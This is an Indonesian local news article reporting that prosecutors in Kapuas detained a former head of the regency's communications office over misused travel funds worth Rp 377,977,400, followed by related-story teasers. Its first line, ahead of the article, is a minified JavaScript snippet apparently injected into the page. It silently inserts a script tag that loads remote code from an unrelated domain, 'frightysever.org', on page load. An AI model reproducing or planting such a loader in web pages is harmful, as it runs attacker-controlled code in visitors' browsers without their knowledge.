(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Kasus dugaan tindak pidana korupsi (tipikor) di Dinas Komunikasi dan Informatika (Diskominfo) Kabupaten Kapuas memasuki babak baru.
Tim jaksa penyidik bidang pidana khusus (Pidsus) Kejaksaan Negeri (Kejari) Kapuas menahan tersangka dan barang bukti.
Tersangka J mantan Kadiskominfo Kapuas ditahan terkait dugaan tindak pidana korupsi penyelewengan dana kegiatan perjalanan dinas pada Dinas Komunikasi Dan Informatika Kabupaten Kapuas tahun anggaran 2020 dan 2021, Senin (15/5/2023) siang.
Kepala Kejaksaan Negeri (Kajari) Kapuas Luthcas Rohman SH MH melalui Kasi Intelijen Kejari Kapuas Dr Amir Giri Muryawan SH MH mengatakan, ada berkas yang diserahkan kepada pihak JPU (Jaksa Penuntut Umum) yakni berkas perkara tersangka J selaku mantan Kadiskominfo Kapuas.
Baca juga: ‘Khianati’ Dukungan KTP Batal ke DPD RI, Sofwat Hadi Malah Incar Kursi DPR RI
“Berkas tersebut berkaitan dengan perkara tipikor dugaan melakukan tindak pidana korupsi penyelewengan dana kegiatan perjalanan dinas pada dinas Kominfo Kapuas,” kata Amir Giri Muryawan.
Kasintel Kejari Kapuas Amir Giri menambahkan, setelah dilakukan pemeriksaan terhadap tersangka dan diperkuat barang bukti, tersangka J diduga melakukan tindak pidana korupsi dengan cara melakukan penyelewengan dana kegiatan perjalanan dinas.
Berdasar hasil audit tim auditor dari Inspektorat Kabupaten Kapuas mengakibatkan kerugian keuangan negara Rp 300.854.200, dan kerugian yang dialami oleh pelaksana perjalanan dinas Rp 77.123.200, dengan total keseluruhan Rp 377.977.400.
“Perbuatan tersangka J itu mengakibatkan kerugian keuangan negara sebesar Rp 377.977.400,” sebut Amir Giri.
Baca juga: Tim Asesor LAMDIK Datangi STAI Kuala Kapuas
Kasi Intelijen menyebutkan tersangka J dikenakan tuduhan pasal primeir yakni pasal 2 ayat (1) juncto pasal 18 ayat (1) huruf b Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Konupsi juncto Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 ayat (1) ke-1 KUHPidana.
“Sedangkan pasal subsidair yang dikenakan yakni Pasal 3 juncto Pasal 18 ayat (1) huruf b Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi juncto Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 ayat (1) ke-1 KUHPidana,” beber Kasi Intelijen Kejari Kapuas. (Kanalkalimantan.com/ags)
Reporter: ags
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.